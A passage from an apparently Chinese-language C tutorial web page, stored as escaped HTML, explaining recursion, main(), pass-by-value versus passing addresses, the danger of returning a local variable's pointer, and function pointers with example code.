n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e Fibonacci(n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + Fibonacci(n - \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003eFibonacci()\u003c/code\u003e调用了自身,大大简化了算法。\u003c/p\u003e\u003ch3 id=\"main\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#main\" class=\"headerlink\" title=\"main()\"\u003e\u003c/a\u003emain()\u003c/h3\u003e\u003cp\u003eC 语言规定,\u003ccode\u003emain()\u003c/code\u003e是程序的入口函数,即所有的程序一定要包含一个\u003ccode\u003emain()\u003c/code\u003e函数。程序总是从这个函数开始执行,如果没有该函数,程序就无法启动。其他函数都是通过它引入程序的。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emain()\u003c/code\u003e的写法与其他函数一样,要给出返回值的类型和参数的类型,就像下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,最后的\u003ccode\u003ereturn 0;\u003c/code\u003e表示函数结束运行,返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言约定,返回值\u003ccode\u003e0\u003c/code\u003e表示函数运行成功,如果返回其他非零整数,就表示运行失败,代码出了问题。系统根据\u003ccode\u003emain()\u003c/code\u003e的返回值,作为整个程序的返回值,确定程序是否运行成功。\u003c/p\u003e\u003cp\u003e正常情况下,如果\u003ccode\u003emain()\u003c/code\u003e里面省略\u003ccode\u003ereturn 0\u003c/code\u003e这一行,编译器会自动加上,即\u003ccode\u003emain()\u003c/code\u003e的默认返回值为0。所以,写成下面这样,效果完全一样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e由于 C 语言只会对\u003ccode\u003emain()\u003c/code\u003e函数默认添加返回值,对其他函数不会这样做,所以建议总是保留\u003ccode\u003ereturn\u003c/code\u003e语句,以便形成统一的代码风格。\u003c/p\u003e\u003ch3 id=\"参数的传值引用\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%82%E6%95%B0%E7%9A%84%E4%BC%A0%E5%80%BC%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"参数的传值引用\"\u003e\u003c/a\u003e参数的传值引用\u003c/h3\u003e\u003cp\u003e如果函数的参数是一个变量,那么调用时,传入的是这个变量的值的拷贝,而不是变量本身。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eincrement\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eincrement(i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,调用\u003ccode\u003eincrement(i)\u003c/code\u003e以后,变量\u003ccode\u003ei\u003c/code\u003e本身不会发生变化,还是等于\u003ccode\u003e10\u003c/code\u003e。因为传入函数的是\u003ccode\u003ei\u003c/code\u003e的拷贝,而不是\u003ccode\u003ei\u003c/code\u003e本身,拷贝的变化,影响不到原始变量。这就叫做“传值引用”。\u003c/p\u003e\u003cp\u003e所以,如果参数变量发生变化,最好把它作为返回值传出来。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eincrement\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei = increment(i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再看下面的例子,\u003ccode\u003eSwap()\u003c/code\u003e函数用来交换两个变量的值,由于传值引用,下面的写法不会生效。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eSwap\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e y)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e temp = x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e y = temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b = \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSwap(a, b); \u003cspan class=\"comment\"\u003e// 无效\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的写法不会产生交换变量值的效果,因为传入的变量是原始变量\u003ccode\u003ea\u003c/code\u003e和\u003ccode\u003eb\u003c/code\u003e的拷贝,不管函数内部怎么操作,都影响不了原始变量。\u003c/p\u003e\u003cp\u003e如果想要传入变量本身,只有一个办法,就是传入变量的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eSwap\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* y)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e temp = *x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *x = *y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *y = temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b = \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSwap(\u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过传入变量\u003ccode\u003ex\u003c/code\u003e和\u003ccode\u003ey\u003c/code\u003e的地址,函数内部就可以直接操作该地址,从而实现交换两个变量的值。\u003c/p\u003e\u003cp\u003e虽然跟传参无关,这里特别提一下,函数不要返回内部变量的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u0026amp;i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数返回内部变量\u003ccode\u003ei\u003c/code\u003e的指针,这种写法是错的。因为当函数结束运行时,内部变量就消失了,这时指向内部变量\u003ccode\u003ei\u003c/code\u003e的内存地址就是无效的,再去使用这个地址是非常危险的。\u003c/p\u003e\u003ch3 id=\"函数指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"函数指针\"\u003e\u003c/a\u003e函数指针\u003c/h3\u003e\u003cp\u003e函数本身就是一段内存里面的代码,C 语言允许通过指针获取函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*print_ptr)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) = \u0026amp;print;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003eprint_ptr\u003c/code\u003e是一个函数指针,它指向函数\u003ccode\u003eprint()\u003c/code\u003e的地址。函数\u003ccode\u003eprint()\u003c/code\u003e的地址可以用\u003ccode\u003e\u0026amp;print\u003c/code\u003e获得。注意,\u003ccode\u003e(*print_ptr)\u003c/code\u003e一定要写在圆括号里面,否则函数参数\u003ccode\u003e(int)\u003c/code\u003e的优先级高于\u003ccode\u003e*\u003c/code\u003e,整个式子就会变成\u003ccode\u003evoid* print_ptr(int)\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e有了函数指针,通过它也可以调用函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(*print_ptr)(\u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprint(\u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比较特殊的是,C 语言还规定,函数名本身就是指向函数代码的指针,通过函数名就能获取函数地址。也就是说,\u003ccode\u003eprint\u003c/code\u003e和\u003ccode\u003e\u0026amp;print\u003c/code\u003e是一回事。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (print == \u0026amp;print) \u003cspan class=\"comment\"\u003e// true\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e因此,上面代码的\u003ccode\u003eprint_ptr\u003c/code\u003e等同于\u003ccode\u003eprint\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*print_ptr)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) = \u0026amp;print;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 或\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*print_ptr)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) = print;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (print_ptr == print) \u003cspan class=\"comment\"\u003e// true\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e所以,对于任意函数,都有五种调用函数的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprint(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(*print)(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法三\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u0026amp;print)(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法四\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(*print_ptr)(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法五\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprint_ptr(\u003cspan 